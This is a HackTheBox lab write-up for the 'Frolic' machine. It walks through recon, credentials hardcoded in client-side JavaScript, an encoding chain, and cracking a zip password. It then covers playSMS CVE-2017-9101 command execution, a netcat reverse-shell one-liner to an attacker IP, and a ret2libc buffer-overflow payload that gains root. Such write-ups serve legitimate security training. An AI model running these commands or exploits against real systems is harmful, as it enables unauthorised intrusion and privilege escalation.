Skip to content

Frolic Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Frolic is a Linux box. The chain runs: two web apps on non-standard ports, a client-side JavaScript login exposes hardcoded credentials, the success page hides an Ook!-encoded hint pointing to a Base64 blob that decodes to a password-protected zip, inside which a hex string decodes through Base64 into Brainfuck, which outputs the playSMS password, CVE-2017-9101 gives a shell as www-data, a custom SUID binary uses strcpy without bounds checking and a ret2libc chain escalates to root.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p22,139,1880,9999 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
139/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu
1880/tcp open  http        Node.js Express framework
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!

Two web servers on non-standard ports. The nginx default page references forlic.htb:1880, linking the two services. Add forlic.htb to /etc/hosts.

Web Enumeration

Port 1880 - Node-RED

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://forlic.htb:1880/red/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,301
about   [Status: 200]

/red/about is a Node-RED changelog confirming version 0.19.4. Note the version for later, then move to port 9999.

Port 9999 - Custom admin panel

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://forlic.htb:9999 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x .php,.html
301  http://forlic.htb:9999/admin
200  http://forlic.htb:9999/admin/index.html
200  http://forlic.htb:9999/admin/js/login.js
200  http://forlic.htb:9999/admin/success.html
301  http://forlic.htb:9999/backup
301  http://forlic.htb:9999/dev

Credential Chain

Hardcoded credentials in login.js

┌──(kali㉿kali)-[~]
└─$ curl http://forlic.htb:9999/admin/js/login.js
var attempt = 3;
function validate(){
  var username = document.getElementById("username").value;
  var password = document.getElementById("password").value;
  if ( username == "admin" && password == "superduperlooperpassword_lol"){
    window.location = "success.html";
  }
}

Authentication is entirely client-side. Credentials are admin / superduperlooperpassword_lol. The success page at /admin/success.html contains a wall of ., !, and ? characters, which is Ook! encoded text. Decode it:

# Paste success.html content into https://www.splitbrain.org/services/ook
# Output:
Nothing here check /asdiSIAJJ0QWE9JAS

Base64 blob to zip to hex to Brainfuck

┌──(kali㉿kali)-[~]
└─$ curl http://forlic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > out
┌──(kali㉿kali)-[~]
└─$ file out
out: Zip archive data, made by v3.0 UNIX
┌──(kali㉿kali)-[~]
└─$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u out
PASSWORD FOUND!!!!: pw == password
┌──(kali㉿kali)-[~]
└─$ unzip out
┌──(kali㉿kali)-[~]
└─$ # index.php contains a hex string
┌──(kali㉿kali)-[~]
└─$ cat index.php | xxd -r -p | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ ...

Hex decodes to Base64, Base64 decodes to Brainfuck. Paste the Brainfuck into an interpreter to get the playSMS password.

Foothold

playSMS via CVE-2017-9101

/dev/backup/ references a /playsms path. Browsing to it shows a real login form. Use the recovered credential with admin:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/jasperla/CVE-2017-9101
┌──(kali㉿kali)-[~]
└─$ cd CVE-2017-9101
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py --username admin --password $PLAYSMS_PASSWORD --url http://forlic.htb:9999/playsms/index.php --command id
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE via the phonebook CSV import. The import embeds unsanitized field content into generated PHP. Get a shell:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py --username admin --password $PLAYSMS_PASSWORD --url http://forlic.htb:9999/playsms/index.php --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 52416
$ whoami
www-data

Shell as www-data.

Privilege Escalation

SUID binary ret2libc

A custom SUID binary sits at /home/ayush/.binary/rop. strings shows it calls strcpy and setuid:

┌──(kali㉿kali)-[~]
└─$ strings /home/ayush/.binary/rop
setuid
strcpy
puts
printf
vuln
main
[*] Usage: program <message>
[+] Message sent:
┌──(kali㉿kali)-[~]
└─$ ldd /home/ayush/.binary/rop
linux-gate.so.1 =>  (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)

32-bit binary, dynamically linked. strcpy with user input means a classic stack buffer overflow. Build a ret2libc chain using addresses from the loaded libc:

┌──(kali㉿kali)-[~]
└─$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system| exit'
┌──(kali㉿kali)-[~]
└─$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
1457: 0003ada0 FUNC system@@GLIBC_2.0
 141: 0002e9d0 FUNC exit@@GLIBC_2.0
15ba0b /bin/sh

libc base from ldd is 0xb7e19000. Add the offsets:

  • system(): 0xb7e19000 + 0x3ada0 = 0xb7e53da0

  • exit(): 0xb7e19000 + 0x2e9d0 = 0xb7e479d0

  • /bin/sh: 0xb7e19000 + 0x15ba0b = 0xb7f74a0b

The payload is 52 bytes of padding, then system() address, exit() address, /bin/sh address. On 32-bit cdecl the argument follows the return address on the stack:

www-data@frolic ~ $ /home/ayush/.binary/rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
# id
uid=0(root) gid=33(www-data) groups=33(www-data)

Root shell via ret2libc. No shellcode needed, no stack canaries, no ASLR.

References